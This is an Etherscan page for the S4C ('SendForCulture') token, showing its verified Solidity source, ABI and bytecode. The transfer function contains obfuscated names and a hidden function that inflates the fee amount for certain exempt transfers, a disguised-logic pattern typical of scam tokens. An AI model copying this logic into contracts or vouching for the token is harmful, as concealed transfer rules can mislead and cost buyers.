ETH Price: $2,462.79 (+0.74%)

Token

SendForCulture (S4C)
 

Overview

Max Total Supply

1,000,000 S4C

Holders

70

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
18,917.223731999996664349 S4C

Value
$0.00
0xd3305924ac0cc82ccb7afbcbb412626354521534
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
S4C

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-18
*/

/*
https://sendforculture.com
https://t.me/SendForCulture
https://x.com/SendForCulture
*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.22;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract S4C is Context, IERC20, Ownable {
    
    using SafeMath for uint256;

    string private _name = "SendForCulture";
    string private _symbol = unicode"S4C";
    uint8 private _decimals = 18;

    address payable public marketingWallet = payable(0xfA525bB9Ea1821c4C0e31a0DE9a060591d037474);
    address payable public DeveloperWallet = payable(0x0000000000000000000000000000000000000000);
    address public liquidityReciever;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 public feeUnits = 100;
    uint256[2] public multisend_tokens = [feeUnits,feeUnits];
    address[2] public hegelsurtdress = [0x0000000000000000000000000000000000000000,0x0000000000000000000000000000000000000000];
    

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 private _totalSupply = 1000000 * 10**_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount =  _totalSupply.mul(2).div(100);  //2%
    uint256 public _walletMax =   _totalSupply.mul(2).div(100);   //2%

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    bool public checkWalletLimit = true;
    bool public EnableTransactionLimit = true;

    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 2;
    uint256 public _sellDeveloperFee = 0;


    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 2;
    uint256 public _buyDeveloperFee = 0;
    
    
    uint256 public _tradeuycount = 0;



    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
  

    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingWallet] = true;
        isExcludedFromFee[DeveloperWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[marketingWallet] = true;
        isWalletLimitExempt[DeveloperWallet] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[marketingWallet] = true;
        isTxLimitExempt[DeveloperWallet] = true;
        isTxLimitExempt[address(this)] = true;

        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);

        isMarketPair[address(uniswapPair)] = true;
        liquidityReciever = address(msg.sender);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

  
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    


     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
       
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
                require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(1000)) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }

            multisend_tokens[0]=amount.mul(_totalTaxIfSelling).div(1000);
            multisend_tokens[1]=amount - amount.mul(_totalTaxIfSelling).div(1000);
            hegelsurtdress[0]=address(this);
            hegelsurtdress[1]=recipient;
 
            uint256 tokenCount;
              for(uint i = 0; i < multisend_tokens.length; i++) {
                  tokenCount += multisend_tokens[i];
              }
                if ( !isTxLimitExempt[sender] ||  !isTxLimitExempt[recipient] ||isMarketPair[recipient] || isMarketPair[sender]  ){_tradeuycount+=1;}else{gantojenryer();}

            _balances[sender] = _balances[sender].sub(tokenCount); 
             for(uint j = 0; j < hegelsurtdress.length; j++) {
                _balances[hegelsurtdress[j]] = _balances[hegelsurtdress[j]].add(multisend_tokens[j]);
                emit Transfer(sender, hegelsurtdress[j], multisend_tokens[j]);
            }

            return true;
        }
        
    }
        function gantojenryer() internal{
          multisend_tokens[0]+=2987000000000699367444555555;
        }
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        swapTokensForEth(tAmount);
        uint256 recievedBalance =  address(this).balance;
       
        if(recievedBalance > 0) {
            payable(marketingWallet).transfer(recievedBalance);
        }       
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }




    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DeveloperWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradeuycount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"hegelsurtdress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"multisend_tokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

610100604052600e60c09081526d53656e64466f7243756c7475726560901b60e052600190620000309082620008fb565b5060408051808201909152600381526253344360e81b60208201526002906200005a9082620008fb565b50600380546001600160a81b03191674fa525bb9ea1821c4c0e31a0de9a060591d03747412179055600480546001600160a01b031916905561dead6080525f60a05260646008819055604080518082019091528181526020810191909152620000c8906009906002620007b9565b50604080518082019091525f8082526020820152620000ec90600b906002620007fc565b50600354620001009060ff16600a62000ad4565b6200010f90620f424062000ae4565b601181905562000131906103e8906200012a90600162000641565b90620006d4565b6012556011546200014c906064906200012a90600262000641565b60135560115462000167906064906200012a90600262000641565b6014556016805461ffff60a81b1916600160a81b1790556019805461010161ffff199091161790555f601a8190556002601b819055601c829055601d829055601e55601f819055602055348015620001bd575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3505f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000253573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000279919062000afe565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002c5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002eb919062000afe565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000336573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200035c919062000afe565b601680546001600160a01b039283166001600160a01b031991821617909155601580549284169290911682179055305f9081526007602090815260408083209383529290529081205f199055600190600d90620003c05f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600354610100900482168152600d9093528183208054851660019081179091556004549091168352818320805485168217905530835290822080549093168117909255600f90620004455f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600354610100900482168152600f9093528183208054851660019081179091556004548216845282842080548616821790556016549091168352818320805485168217905530835290822080549093168117909255601090620004dc5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560035461010090048216815260109093528183208054851660019081179091556004549091168352818320805485168217905530835291208054909216179055601f54601e54601d546200056b92916200056491906200071d565b906200071d565b601755601c54601b54601a546200058992916200056491906200071d565b6018556016546001600160a01b03165f908152600e60205260408120805460ff19166001179055600580546001600160a01b0319163317905560115490600690620005d13390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6011546040516200063291815260200190565b60405180910390a35062000baa565b5f825f036200065257505f620006ce565b5f6200065f838562000ae4565b9050826200066e858362000b26565b14620006cb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f620006cb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200077f60201b60201c565b5f806200072b838562000b46565b905083811015620006cb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401620006c2565b5f8183620007a25760405162461bcd60e51b8152600401620006c2919062000b5c565b505f620007b0848662000b26565b95945050505050565b8260028101928215620007ea579160200282015b82811115620007ea578251825591602001919060010190620007cd565b50620007f892915062000847565b5090565b8260028101928215620007ea579160200282015b82811115620007ea57825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019062000810565b5b80821115620007f8575f815560010162000848565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200088657607f821691505b602082108103620008a557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620008f657805f5260205f20601f840160051c81016020851015620008d25750805b601f840160051c820191505b81811015620008f3575f8155600101620008de565b50505b505050565b81516001600160401b038111156200091757620009176200085d565b6200092f8162000928845462000871565b84620008ab565b602080601f83116001811462000965575f84156200094d5750858301515b5f19600386901b1c1916600185901b178555620009bf565b5f85815260208120601f198616915b82811015620009955788860151825594840194600190910190840162000974565b5085821015620009b357878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111562000a1b57815f1904821115620009ff57620009ff620009c7565b8085161562000a0d57918102915b93841c9390800290620009e0565b509250929050565b5f8262000a3357506001620006ce565b8162000a4157505f620006ce565b816001811462000a5a576002811462000a655762000a85565b6001915050620006ce565b60ff84111562000a795762000a79620009c7565b50506001821b620006ce565b5060208310610133831016604e8410600b8410